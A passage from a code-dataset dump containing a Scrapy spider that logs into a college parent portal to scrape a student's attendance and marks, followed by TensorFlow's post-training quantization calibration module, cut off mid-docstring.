sorted_y)\r\n","repo_name":"ivanprokopets/Ochrona-danych","sub_path":"Etap_1/2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":837,"program_lang":"python","lang":"pl","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"41372510673","text":"from flask import Flask, redirect, render_template, request, session, url_for,jsonify\nimport json\nimport subprocess\nimport os\nimport sys\nimport scrapy\nimport json\nimport scrapy\nimport scrapy.crawler as crawler\nfrom multiprocessing import Process, Queue\nfrom twisted.internet import reactor\nimport base64\nimport random\nimport string\n\n\nclass SIS_Spider(scrapy.Spider):\n\tname = 'sis'\n\tlogin_url = 'http://parents.msrit.edu/index.php'\n\tbase_url = 'http://parents.msrit.edu/'\n\tstart_urls = [login_url]\n\tatt_data = list()\n\tmark_data = list()\n\twrite_file = ''\t\n\t\n\tdef parse(self, response):\n\t\tusn = USN\n\t\ttoken = response.xpath('//input[@value=\"1\"]/@name')[0].extract()\n\t\tpassword = ''\n\t\tfor c in DOB:\n\t\t\tpassword = password + c + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase+ string.digits) for _ in range(2))\n\n\t\tpassword = base64.b64encode(password.encode()).decode(\"utf-8\")\n\n\t\tdata = {\n\t\t'username': usn,\n\t\t'password': password,\n\t\t'remember': 'No',\n\t\t'submit.x': '15',\n\t\t'submit.y': '23',\n\t\t'passwd':password,\n\t\t'option': 'com_user',\n\t\t'task':'login',\n\t\t'return':'�w^Ƙi',\n\t\ttoken : '1'\n\t\t}\n \n\t\tself.write_file = data['username']+'.json'\n\t\n\t\tyield scrapy.FormRequest(url=self.login_url, formdata=data, callback=self.parse_quotes)\n\n\tdef parse_quotes(self, response):\n\n\t\tprint('logged in ')\n\t\teachsubject = list()\n\n\t\tdetails = response.xpath('//div[@class=\"tname2\"]/text()').extract()\n\t\n\t\tjson.dump(details,open('data_'+self.write_file,'w'))\n\t\teachsubject2 = response.css('a[title=Attendence]::attr(href)').extract()\n\t\t\n\t\teachsubject = [x for x in set(eachsubject2)]\n\t\tprint('attendance links are - ', len(eachsubject))\n\t\t\n\t\tfor link in eachsubject:\n\t\t\trequest = scrapy.Request(url = self.base_url+link, callback = self.attendance_data)\n\t\t\t\n\t\t\tyield request\n\n\t\teachsubject2 = response.xpath('//div[@class=\"cie\"]/a/@href').extract()\n\t\t\n\t\teachsubject = [x for x in set(eachsubject2)]\n\t\tprint('cie links are - ', len(eachsubject))\n\t\t\n\t\tfor link in eachsubject:\t\n\t\t\trequest = scrapy.Request(url = self.base_url+link, callback = self.marks_data)\n\t\t\tyield request\n\n\tdef attendance_data(self, response):\n\t\tatt = dict()\n\t\tatt['code'] = response.xpath('//div[@class=\"courseCode\"]/text()')[0].extract()\n\t\tatt['name'] = response.xpath('//div[@class=\"coursename\"]/text()')[0].extract()\n\t\tatt['percentage'] = response.xpath('//div[@class=\"att\"]/a/text()')[0].extract()\n\t\tatt['teacher'] = response.xpath('//div[@class=\"tname\"]/text()')[0].extract()\n\t\t#print(' p = ',att['teacher'])\n\t\tatt['present'] = response.xpath('//div[@class=\"progress-bar progress-bar-success\"]/@title')[0].extract().split(':')[1]\n\t\tatt['absent'] = response.xpath('//div[@class=\"progress-bar progress-bar-danger\"]/@title')[0].extract().split(':')[1]\n\n\t\ttry:\n\t\t\tatt['remaining'] = response.xpath('//div[@class=\"progress-bar progress-bar-warning\"]/@title')[0].extract().split(':')[1]\n\t\texcept:\n\t\t\tatt['remaining'] = '0'\n\n\t\teven = response.xpath('//tr[@class=\"even\"]/td/text()').extract()\n\t\todd = response.xpath('//tr[@class=\"odd\"]/td/text()').extract()\n\n\t\t\n\t\tpresent = list()\n\t\tabsent = list()\n\n\t\tfor e in range(0,len(even),4):\n\t\t\tday = dict()\n\t\t\t# or try this future\n\t\t\tday['index'] = ' '.join(even[e].split())\n\t\t\tday['date'] = ' '.join(even[e+1].split())\n\t\t\tday['time'] = ' '.join(even[e+2].split())\n\t\t\tday['status'] = ' '.join(even[e+3].split())\n\t\t\t\n\t\t\tif(day['status'] == 'Present'):\n\t\t\t\tpresent.append(day)\n\t\t\telse:\t\n\t\t\t\tabsent.append(day)\n\t\t\t\n\t\tfor e in range(0,len(odd),4):\n\t\t\tday = dict()\n\t\t\tday['index'] = ' '.join(odd[e].split())\n\t\t\tday['date'] = ' '.join(odd[e+1].split())\n\t\t\tday['time'] = ' '.join(odd[e+2].split())\n\t\t\tday['status'] = ' '.join(odd[e+3].split())\n\t\t\t\n\t\t\tif(day['status'] == 'Present'):\n\t\t\t\tpresent.append(day)\n\t\t\telse:\t\n\t\t\t\tabsent.append(day)\n\t\n\t\tabsent = sorted(absent, key=lambda x:x['index'])\n\t\tpresent = sorted(present, key=lambda x:x['index'])\t\n\t\t\n\t\tatt['present_dates'] = present\n\t\tatt['absent_dates'] = absent\n\t\n\t\tself.att_data.append(att)\n\t\t\n\t\tjson.dump(self.att_data,open('attendance_'+self.write_file,'w'))\n\t\n\n\tdef marks_data(self,response):\n\t\tmarks = dict()\n\n\t\tmarks['name'] = response.xpath('//th[@colspan=\"9\"]/text()')[0].extract()\n\t\tlol=response.xpath('//tr[@class=\"odd\"]/td[@class=\"\"]/text()').extract()\n\t\t\n\t\tmarks['t1'] = lol[0]\n\t\tmarks['t2'] = lol[1]\t\t\n\t\tmarks['t3'] = lol[2]\n\t\tmarks['t4'] = lol[3]\n\t\tmarks['a1'] = lol[4]\n\t\tmarks['a2'] = lol[5]\n\t\tmarks['a3'] = lol[6]\n\n\t\tif(len(marks)==8):\n\t\t\tmarks['final cie'] = \"-\"\n\t\telse:\n\t\t\tmarks['final cie'] = lol[7]\n\n\t\t\n\t\tself.mark_data.append(marks)\n\n\t\tjson.dump(self.mark_data,open('marks_'+self.write_file,'w'))\n\n","repo_name":"roopak1997/SIS-Spider","sub_path":"scraper.py","file_name":"scraper.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"} +{"seq_id":"32818977793","text":"import collections.abc\nimport tempfile\nfrom typing import Callable, Collection, Dict, Mapping, Optional, Sequence\nimport uuid\n\nfrom absl import logging\nimport numpy as np\n\nfrom tensorflow.compiler.mlir.quantization.tensorflow import exported_model_pb2\nfrom tensorflow.compiler.mlir.quantization.tensorflow import quantization_options_pb2 as quant_opts_pb2\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import pywrap_quantize_model\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import representative_dataset as repr_dataset\nfrom tensorflow.compiler.mlir.quantization.tensorflow.python import save_model\nfrom tensorflow.core.framework import graph_pb2\nfrom tensorflow.core.protobuf import meta_graph_pb2\nfrom tensorflow.core.protobuf import saver_pb2\nfrom tensorflow.python.client import session\nfrom tensorflow.python.eager import context\nfrom tensorflow.python.eager import wrap_function\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.framework import tensor_conversion\nfrom tensorflow.python.lib.io import file_io\nfrom tensorflow.python.platform import tf_logging as logging\nfrom tensorflow.python.saved_model import loader_impl as saved_model_loader\nfrom tensorflow.python.saved_model import signature_constants\nfrom tensorflow.python.saved_model import tag_constants\nfrom tensorflow.python.saved_model.load import load as saved_model_load\nfrom tensorflow.python.trackable import autotrackable\nfrom tensorflow.python.types import core\n\n# Type aliases for quant_opts_pb2 messages.\n_Method = quant_opts_pb2.QuantizationMethod.Method\n_ExperimentalMethod = quant_opts_pb2.QuantizationMethod.ExperimentalMethod\n\n_QuantizationComponent = (\n quant_opts_pb2.QuantizationComponentSpec.QuantizationComponent\n)\n\n_TensorType = quant_opts_pb2.QuantizationComponentSpec.TensorType\n\n# Mapping of signature def key -> SignatureDef.\n_SignatureDefMap = Mapping[str, meta_graph_pb2.SignatureDef]\n\n# Default minimum number of elements in the weights for them to be quantized\n# during dynamic range quantization (DRQ) and weight-only quantization.\n_DYNAMIC_RANGE_DEFAULT_MIN_NUM_ELEMENTS_FOR_WEIGHTS = 1024\n\n# Name of the saved model assets directory.\n_ASSETS_DIR = 'assets'\n_ASSETS_EXTRA_DIR = 'assets.extra'\n\n\ndef _is_qat_saved_model(saved_model_path: str):\n \"\"\"Checks if the SavedModel is QAT-enabled by looking for 'FakeQuant' ops.\"\"\"\n saved_model_proto = saved_model_loader.parse_saved_model(saved_model_path)\n for meta_graph in saved_model_proto.meta_graphs:\n if any(\n node.op.startswith('FakeQuant') for node in meta_graph.graph_def.node\n ):\n return True\n for function in meta_graph.graph_def.library.function:\n if any(node.op.startswith('FakeQuant') for node in function.node_def):\n return True\n return False\n\n\ndef _create_sample_validator(\n expected_input_keys: Collection[str],\n) -> Callable[\n [repr_dataset.RepresentativeSample], repr_dataset.RepresentativeSample\n]:\n \"\"\"Creates a validator function for a representative sample.\n\n Args:\n expected_input_keys: Input keys (keyword argument names) that the function\n the sample will be used for is expecting to receive.\n\n Returns:\n A callable that validates a `RepresentativeSample`.\n \"\"\"\n\n def validator(\n sample: repr_dataset.RepresentativeSample,\n ) -> repr_dataset.RepresentativeSample:\n \"\"\"Validates a single instance of representative sample.\n\n This provides a simple check for `sample` that this is a mapping of\n {input_key: input_value}.\n\n Args:\n sample: A `RepresentativeSample` to validate.\n\n Returns:\n `sample` iff it is valid.\n\n Raises:\n ValueError: iff the sample isn't an instance of `Mapping`.\n KeyError: iff the sample does not have the set of input keys that match\n the input keys of the function.\n \"\"\"\n if not isinstance(sample, collections.abc.Mapping):\n raise ValueError(\n 'Invalid representative sample type. Provide a mapping '\n '(usually a dict) of {input_key: input_value}. '\n f'Got type: {type(sample)} instead.'\n )\n\n if set(sample.keys()) != expected_input_keys:\n raise KeyError(\n 'Invalid input keys for representative sample. The function expects '\n f'input keys of: {set(expected_input_keys)}. '\n f'Got: {set(sample.keys())}. Please provide correct input keys for '\n 'representative samples.'\n )\n\n return sample\n\n return validator\n\n\ndef _validate_representative_dataset(\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n signature_keys: Collection[str],\n) -> None:\n \"\"\"Validates the representative dataset, based on the signature keys.\n\n Representative dataset can be provided in two different forms: a single\n instance of `RepresentativeDataset` or a map of signature key to the\n corresponding `RepresentativeDataset`. These have a relationship with\n `signature_keys`.\n\n This function validates the following conditions:\n * If `len(signature_keys) > 1`, then `representative_dataset` should be a\n mapping where the keys exactly match the elements in `signature_keys`.\n * If `len(signature_keys) == 1`, then both a mapping and a single instance of\n `RepresentativeDataset` are allowed.\n * This function also assumes `len(signature_keys) > 0`.\n\n Args:\n representative_dataset: A `RepresentativeDataset` or a map of string to\n `RepresentativeDataset` to be validated.\n signature_keys: A collection of strings that contains the signature keys,\n each identifying a `SignatureDef`.\n\n Raises:\n ValueError: Iff `representative_dataset` does not satisfy the conditions\n above.\n \"\"\"\n if isinstance(representative_dataset, collections.abc.Mapping):\n if set(signature_keys) != set(representative_dataset.keys()):\n raise ValueError(\n 'The signature keys and the keys of representative dataset map '\n f'do not match. Signature keys: {set(signature_keys)}, '\n f'representative dataset map: {set(representative_dataset.keys())}.'\n )\n else:\n if len(signature_keys) > 1:\n raise ValueError(\n 'Representative dataset is not a mapping '\n f'(got: {type(representative_dataset)}), '\n 'but there is more than one signature key provided. '\n 'Please provide a map of {signature_key -> dataset} '\n 'with more than one signature key.'\n )\n\n\ndef _convert_values_to_tf_tensors(\n sample: repr_dataset.RepresentativeSample,\n) -> Mapping[str, core.Tensor]:\n \"\"\"Converts TensorLike values of `sample` to Tensors.\n\n Creates a copy of `sample`, where each value is converted to Tensors\n unless it is already a Tensor.\n The values are not converted in-place (i.e. `sample` is not mutated).\n\n Args:\n sample: A representative sample, which is a map of {name -> tensorlike\n value}.\n\n Returns:\n Converted map of {name -> tensor}.\n \"\"\"\n tensor_mapping = {}\n for name, tensorlike_value in sample.items():\n if isinstance(tensorlike_value, core.Tensor):\n tensor_value = tensorlike_value\n else:\n tensor_value = tensor_conversion.convert_to_tensor_v2_with_dispatch(\n tensorlike_value\n )\n\n tensor_mapping[name] = tensor_value\n\n return tensor_mapping\n\n\ndef _create_feed_dict_from_input_data(\n input_data: repr_dataset.RepresentativeSample,\n signature_def: meta_graph_pb2.SignatureDef,\n) -> Dict[str, np.ndarray]:\n \"\"\"Constructs a feed_dict from input data.\n\n Note: This function should only be used in graph mode.\n\n This is a helper function that converts an 'input key -> input value' mapping\n to a feed dict. A feed dict is an 'input tensor name -> input value' mapping\n and can be directly passed to the `feed_dict` argument of `sess.run()`.\n\n Args:\n input_data: Input key -> input value mapping. The input keys should match\n the input keys of `signature_def`.\n signature_def: A SignatureDef representing the function that `input_data` is\n an input to.\n\n Returns:\n Feed dict, which is intended to be used as input for `sess.run`. It is\n essentially a mapping: input tensor name -> input value. Note that the input\n value in the feed dict is not a `Tensor`.\n \"\"\"\n feed_dict = {}\n for input_key, input_value in input_data.items():\n input_tensor_name = signature_def.inputs[input_key].name\n\n value = input_value\n if isinstance(input_value, core.Tensor):\n # Take the data out of the tensor.\n value = input_value.eval()\n\n feed_dict[input_tensor_name] = value\n\n return feed_dict\n\n\n# TODO(b/249918070): Implement a progress bar.\ndef _log_sample_num_for_calibration(\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> repr_dataset.RepresentativeDataset:\n \"\"\"Logs the sample number for calibration.\n\n If in debug logging level, the \"sample number / total num samples\" is logged\n for every 5 iterations.\n\n This is often useful when tracking the progress of the calibration step which\n is often slow and may look stale if there's no logs being printed.\n\n Args:\n representative_dataset: The representative dataset.\n\n Yields:\n The representative samples from `representative_dataset` without any\n modification.\n \"\"\"\n num_samples: Optional[int] = repr_dataset.get_num_samples(\n representative_dataset\n )\n if num_samples is None:\n total_num_samples = '?'\n logging.info('Representative dataset size unknown.')\n else:\n total_num_samples = str(num_samples)\n logging.info('Using representative dataset of size: %s', total_num_samples)\n\n sample_num = 0\n for sample in representative_dataset:\n sample_num += 1\n\n # Log the sample number for every 5 iterations.\n logging.log_every_n(\n logging.DEBUG,\n 'Running representative sample for calibration: %d / %s',\n 5,\n sample_num,\n total_num_samples,\n )\n yield sample\n\n logging.info(\n 'Running representative samples complete: %d / %s',\n sample_num,\n total_num_samples,\n )\n\n\ndef _run_function_for_calibration_graph_mode(\n sess: session.Session,\n signature_def: meta_graph_pb2.SignatureDef,\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> None:\n \"\"\"Runs the representative dataset through a function for calibration.\n\n NOTE: This is intended to be run in graph mode (TF1).\n\n The function is identified by the SignatureDef.\n\n Args:\n sess: The Session object to run the function in.\n signature_def: A SignatureDef that identifies a function by specifying the\n inputs and outputs.\n representative_dataset: The representative dataset to run through the\n function.\n \"\"\"\n output_tensor_names = [\n output_tensor_info.name\n for output_tensor_info in signature_def.outputs.values()\n ]\n\n sample_validator = _create_sample_validator(\n expected_input_keys=signature_def.inputs.keys()\n )\n\n for sample in map(\n sample_validator, _log_sample_num_for_calibration(representative_dataset)\n ):\n # Create a mapping from input tensor name to the input tensor value.\n # ex) \"Placeholder:0\" -> [0, 1, 2]\n feed_dict = _create_feed_dict_from_input_data(sample, signature_def)\n sess.run(output_tensor_names, feed_dict=feed_dict)\n\n\ndef _replace_tensors_by_numpy_ndarrays(\n repr_ds_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Replaces tf.Tensors by their evaluated numpy arrays.\n\n This assumes that tf.Tensors in representative samples are created in the\n default Graph. It will raise an error if tensors are created in a different\n graph.\n\n Args:\n repr_ds_map: SignatureDef key -> RepresentativeDataset mapping.\n \"\"\"\n with session.Session() as sess:\n for signature_def_key in repr_ds_map:\n # Replaces the dataset with a new dataset where tf.Tensors are replaced\n # by their evaluated values.\n ds = repr_ds_map[signature_def_key]\n repr_ds_map[signature_def_key] = (\n repr_dataset.replace_tensors_by_numpy_ndarrays(ds, sess)\n )\n\n\ndef _run_graph_for_calibration_graph_mode(\n model_dir: str,\n tags: Collection[str],\n representative_dataset_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Runs the graph for calibration in graph mode.\n\n This function assumes _graph mode_ (used when legacy TF1 is used or when eager\n mode is explicitly disabled) when running the graph. This step is used in\n order to collect the statistics in CustomAggregatorOp for quantization using\n the representative dataset for the actual data provided for inference.\n\n Args:\n model_dir: Path to SavedModel directory.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel.\n representative_dataset_map: A map where signature keys are mapped to\n corresponding representative datasets.\n\n Raises:\n ValueError: When running the function with the representative dataset fails.\n \"\"\"\n # Replace tf.Tensors by numpy ndarrays in order to reuse the samples in a\n # different graph when running the calibration.\n _replace_tensors_by_numpy_ndarrays(representative_dataset_map)\n\n # Run the calibration in a new graph to avoid name collision, which could\n # happen when the same model is loaded multiple times in the default graph.\n with ops.Graph().as_default(), session.Session() as sess:\n meta_graph: meta_graph_pb2.MetaGraphDef = saved_model_loader.load(\n sess, tags, export_dir=model_dir\n )\n\n for signature_key, repr_ds in representative_dataset_map.items():\n sig_def = meta_graph.signature_def[signature_key]\n\n try:\n _run_function_for_calibration_graph_mode(\n sess, signature_def=sig_def, representative_dataset=repr_ds\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run representative dataset through the '\n f'function with the signature key: {signature_key}.'\n ) from ex\n\n\ndef _run_function_for_calibration_eager_mode(\n func: wrap_function.WrappedFunction,\n representative_dataset: repr_dataset.RepresentativeDataset,\n) -> None:\n \"\"\"Runs the representative dataset through a function for calibration.\n\n NOTE: This is intended to be run in eager mode (TF2).\n\n Args:\n func: The function to run the representative samples through.\n representative_dataset: Representative dataset used for calibration. The\n input keys and input values of the representative samples should match the\n keyword arguments of `func`.\n \"\"\"\n _, keyword_args = func.structured_input_signature\n sample_validator = _create_sample_validator(\n expected_input_keys=keyword_args.keys()\n )\n\n for sample in map(\n sample_validator, _log_sample_num_for_calibration(representative_dataset)\n ):\n # Convert any non-Tensor values from the sample to Tensors.\n # This conversion is required because the model saved in `model_dir` is\n # saved using TF1 SavedModelBuilder, which doesn't save the\n # SavedObjectGraph.\n # TODO(b/236795224): Remove the need for this conversion by keeping the\n # FunctionSpec (object graph) in the SavedModel. Related: b/213406917.\n func_kwargs = _convert_values_to_tf_tensors(sample)\n func(**func_kwargs)\n\n\ndef _run_graph_for_calibration_eager_mode(\n model_dir: str,\n tags: Collection[str],\n representative_dataset_map: repr_dataset.RepresentativeDatasetMapping,\n) -> None:\n \"\"\"Runs the graph for calibration in eager mode.\n\n This function assumes _eager mode_ (enabled in TF2 by default) when running\n the graph. This step is used in order to collect the statistics in\n CustomAggregatorOp for quantization using the representative dataset for the\n actual data provided for inference.\n\n Args:\n model_dir: Path to SavedModel directory.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel.\n representative_dataset_map: A map where signature keys are mapped to\n corresponding representative datasets.\n\n Raises:\n ValueError: When running the function with the representative dataset fails.\n \"\"\"\n root: autotrackable.AutoTrackable = saved_model_load(model_dir, tags)\n for signature_key, repr_ds in representative_dataset_map.items():\n try:\n _run_function_for_calibration_eager_mode(\n func=root.signatures[signature_key], representative_dataset=repr_ds\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run representative dataset through the '\n f'function with the signature key: {signature_key}.'\n ) from ex\n\n\ndef _run_graph_for_calibration(\n float_model_dir: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n force_graph_mode_calibration: bool,\n) -> None:\n \"\"\"Runs the graph for calibration using representative datasets.\n\n Args:\n float_model_dir: Path to the model to calibrate.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n representative_dataset: An iterator that returns a dictionary of {input_key:\n input_value} or a mapping from signature keys to such iterators. When\n `signature_keys` contains more than one signature key,\n `representative_datsaet` should be a mapping that maps each signature keys\n to the corresponding representative dataset.\n force_graph_mode_calibration: If set to true, it forces calibration in graph\n model instead of eager mode when the context is in eager mode.\n\n Raises:\n ValueError iff:\n * The representative dataset format is invalid.\n * It fails to run the functions using the representative datasets.\n \"\"\"\n try:\n _validate_representative_dataset(representative_dataset, signature_keys)\n except Exception as ex:\n raise ValueError('Invalid representative dataset.') from ex\n\n # If `representative_dataset` is not a mapping, convert to a mapping for the\n # following functions to handle representative datasets more conveniently.\n representative_dataset_map = representative_dataset\n if not isinstance(representative_dataset, collections.abc.Mapping):\n # `signature_keys` is guaranteed to have only one element after the\n # validation.\n representative_dataset_map = {signature_keys[0]: representative_dataset}\n\n try:\n if context.executing_eagerly() and not force_graph_mode_calibration:\n logging.info('Calibration step is executed in eager mode.')\n _run_graph_for_calibration_eager_mode(\n float_model_dir, tags, representative_dataset_map\n )\n else:\n logging.info('Calibration step is executed in graph mode.')\n _run_graph_for_calibration_graph_mode(\n float_model_dir, tags, representative_dataset_map\n )\n except Exception as ex:\n raise ValueError(\n 'Failed to run graph for post-training quantization calibration.'\n ) from ex\n\n logging.info('Calibration step complete.')\n\n\ndef _copy_assets(src_path: str, dst_path: str) -> None:\n \"\"\"Copies the assets directory of the saved model.\n\n Clones the contents of the assets/ directory from the source saved model\n directory to the destination saved model directory. Nothing will be copied if\n there are no assets directory in the source directory.\n\n Args:\n src_path: Source saved model directory.\n dst_path: Destination saved model directory. This directory must exist.\n \"\"\"\n for assets_dir_name in [_ASSETS_DIR, _ASSETS_EXTRA_DIR]:\n src_assets_path = file_io.join(src_path, assets_dir_name)\n if not file_io.file_exists_v2(src_assets_path):\n # Do nothing if the source assets path does not exist.\n continue\n\n dst_assets_path = file_io.join(dst_path, assets_dir_name)\n file_io.create_dir_v2(dst_assets_path)\n\n for curr_dir, _, files in file_io.walk_v2(src_assets_path):\n for asset_file_name in files:\n src_asset_file = file_io.join(curr_dir, asset_file_name)\n\n # Construct the destination assets file path.\n curr_dst_dir = curr_dir.replace(src_assets_path, dst_assets_path)\n dst_asset_file = file_io.join(curr_dst_dir, asset_file_name)\n\n file_io.copy_v2(src_asset_file, dst_asset_file)\n logging.info(\n 'Copied asset file: %s -> %s', src_asset_file, dst_asset_file\n )\n\n\ndef _run_static_range_qat(\n src_saved_model_path: str,\n dst_saved_model_path: str,\n signature_def_keys: Sequence[str],\n tags: Collection[str],\n quant_opts: quant_opts_pb2.QuantizationOptions,\n signature_def_map: _SignatureDefMap,\n) -> None:\n \"\"\"Runs static-range quantization for a Quantization-Aware Trained model.\n\n Runs the quantization for a model trained using QAT.\n\n Args:\n src_saved_model_path: Path to the source SavedModel directory.\n dst_saved_model_path: Path to the destination SavedModel directory.\n signature_def_keys: Keys of the signatures of the functions that are the\n target for quantization.\n tags: Tags identifying the MetaGraphDef.\n quant_opts: Quantization options.\n signature_def_map: Signature def key -> SignatureDef mapping.\n \"\"\"\n logging.info('Running static-range quantization for QAT model.')\n\n loader = saved_model_loader.SavedModelLoader(src_saved_model_path)\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n exported_model_serialized = pywrap_quantize_model.quantize_qat_model(\n src_saved_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(function_aliases),\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n dst_saved_model_path,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(src_saved_model_path, dst_saved_model_path)\n\n\ndef _add_calibration_statistics(graph_def: graph_pb2.GraphDef) -> None:\n \"\"\"Adds calibration statistics to the graph def.\n\n This function must be run after running the graph with a representative\n dataset. Retrieves calibration statistics from the global calibrator and adds\n them to the corresponding nodes as attributes.\n\n Args:\n graph_def: GraphDef to add calibration statistics to.\n \"\"\"\n for function_def in graph_def.library.function:\n for node_def in function_def.node_def:\n if node_def.op != 'CustomAggregator':\n continue\n\n node_id = node_def.attr['id'].s\n try:\n min_val = pywrap_quantize_model.get_min_from_calibrator(node_id)\n max_val = pywrap_quantize_model.get_max_from_calibrator(node_id)\n pywrap_quantize_model.clear_data_from_calibrator(node_id)\n node_def.attr['min'].f = float(min_val)\n node_def.attr['max'].f = float(max_val)\n except ValueError:\n logging.warn(\n (\n 'CustomAggregator id \"%s\" from FunctionDef \"%s\" does not have '\n 'min or max values. Parts of this function are not quantized.'\n ),\n node_id.decode('utf-8'),\n function_def.signature.name,\n )\n\n\ndef _get_saver_def_or_none(\n exported_model: exported_model_pb2.ExportedModel,\n) -> Optional[saver_pb2.SaverDef]:\n \"\"\"Returns the SaverDef from ExportedModel, None otherwise.\n\n Args:\n exported_model: ExportedModel to take the SaverDef from.\n\n Returns:\n SaverDef instance if the field `saver_def` is set. None otherwise.\n \"\"\"\n if exported_model.HasField('saver_def'):\n return exported_model.saver_def\n return None\n\n\ndef _run_static_range_ptq(\n src_saved_model_path: str,\n dst_saved_model_path: str,\n signature_def_keys: Sequence[str],\n tags: Collection[str],\n quant_opts: quant_opts_pb2.QuantizationOptions,\n representative_dataset: repr_dataset.RepresentativeDatasetOrMapping,\n signature_def_map: _SignatureDefMap,\n) -> None:\n \"\"\"Runs static-range Post-Training Quantization.\n\n Runs static-range PTQ for the model. Runs the calibration step with\n `representative_dataset` to collect statistics required for quantization. This\n produces the quantized GraphDef along with the SignatureDefs which might have\n been modified according to the changes in the graph.\n\n Args:\n src_saved_model_path: Path to the source SavedModel directory.\n dst_saved_model_path: Path to the destination SavedModel directory.\n signature_def_keys: Keys of the signature defs of the functions that are the\n target for quantization.\n tags: Tags to identify the MetaGraphDef to be used for quantization.\n quant_opts: Quantization options.\n representative_dataset: Representative dataset used for the calibration\n step. Representative datasets should exist for each signature def key in\n `signature_def_keys`.\n signature_def_map: Signature def key -> SignatureDef mapping.\n\n Raises:\n ValueError if the graph doesn't contain a valid signature.\n \"\"\"\n logging.info('Running post-training quantization pre-calibration step.')\n\n loader = saved_model_loader.SavedModelLoader(src_saved_model_path)\n function_aliases = loader.get_meta_graph_def_from_tags(\n tags\n ).meta_info_def.function_aliases\n\n exported_model_serialized = (\n pywrap_quantize_model.quantize_ptq_model_pre_calibration(\n src_saved_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(function_aliases),\n )\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n graph_def = exported_model.graph_def\n for function_def in graph_def.library.function:\n for node_def in function_def.node_def:\n if node_def.op == 'CustomAggregator':\n node_def.attr['id'].s = uuid.uuid4().hex.encode('ascii')\n\n pre_calib_output_model_path = tempfile.mkdtemp()\n save_model.save_model_v1(\n graph_def,\n pre_calib_output_model_path,\n signature_def_map,\n tags,\n exported_model.init_node_name,\n _get_saver_def_or_none(exported_model),\n exported_model.checkpoint_dir,\n exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(src_saved_model_path, pre_calib_output_model_path)\n\n # Uses the representative dataset to collect statistics for calibration.\n # Handles the graph mode execution separately in case TF2 is disabled or\n # eager execution is disabled. The min & max values are stored separately\n # in a global CalibratorSingleton instance.\n _run_graph_for_calibration(\n pre_calib_output_model_path,\n signature_def_keys,\n tags,\n representative_dataset,\n quant_opts.force_graph_mode_calibration,\n )\n _add_calibration_statistics(graph_def)\n\n calibrated_model_path = tempfile.mkdtemp()\n save_model.save_model_v1(\n graph_def,\n calibrated_model_path,\n signature_def_map,\n tags,\n exported_model.init_node_name,\n _get_saver_def_or_none(exported_model),\n exported_model.checkpoint_dir,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(pre_calib_output_model_path, calibrated_model_path)\n\n logging.info('Running post-training quantization post-calibration step.')\n exported_model_serialized = (\n pywrap_quantize_model.quantize_ptq_model_post_calibration(\n calibrated_model_path,\n list(signature_def_keys),\n set(tags),\n quant_opts.SerializeToString(),\n dict(exported_model.function_aliases),\n )\n )\n\n exported_model = exported_model_pb2.ExportedModel.FromString(\n exported_model_serialized\n )\n\n save_model.save_model_v1(\n exported_model.graph_def,\n dst_saved_model_path,\n signature_def_map,\n tags,\n init_op_name=exported_model.init_node_name,\n saver_def=_get_saver_def_or_none(exported_model),\n checkpoint_dir=exported_model.checkpoint_dir,\n function_aliases=exported_model.function_aliases,\n asset_file_defs=exported_model.asset_file_defs,\n )\n\n _copy_assets(calibrated_model_path, dst_saved_model_path)\n\n\ndef _static_range_quantize(\n saved_model_path: str,\n signature_keys: Sequence[str],\n tags: Collection[str],\n output_directory: str,\n quantization_options: quant_opts_pb2.QuantizationOptions,\n representative_dataset: Optional[\n repr_dataset.RepresentativeDatasetOrMapping\n ] = None,\n) -> autotrackable.AutoTrackable:\n \"\"\"Quantizes the given SavedModel via static range quantization.\n\n If the model is not trained with Quantization-Aware Training (QAT) technique,\n it requires `representative_dataset` to collect statistics required for\n quantization. If non-None `representative_dataset` is provided with a QAT\n model input, `representative_dataset` will be ignored.\n\n Args:\n saved_model_path: Path to the saved model. When representative_dataset is\n not provided, this should be a model trained with QAT.\n signature_keys: Sequence of keys identifying SignatureDef containing inputs\n and outputs.\n tags: Collection of tags identifying the MetaGraphDef within the SavedModel\n to analyze.\n output_directory: The path to save the output SavedModel. The directory will\n be overwritten if not empty.\n quantization_options: QuantizationOptions proto describing quantization\n related config.\n representative_dataset: a generator that returns a dictionary in {input_key:\n input_value} format or a tuple with signature key and a dictionary in\n {input_key: input_value} format that feeds calibration data for quantizing\n model. This should be provided when the model is not a QAT model.\n\n Returns:\n A SavedModel object with TF quantization applied.\n\n Raises:\n ValueError: when representative_dataset is 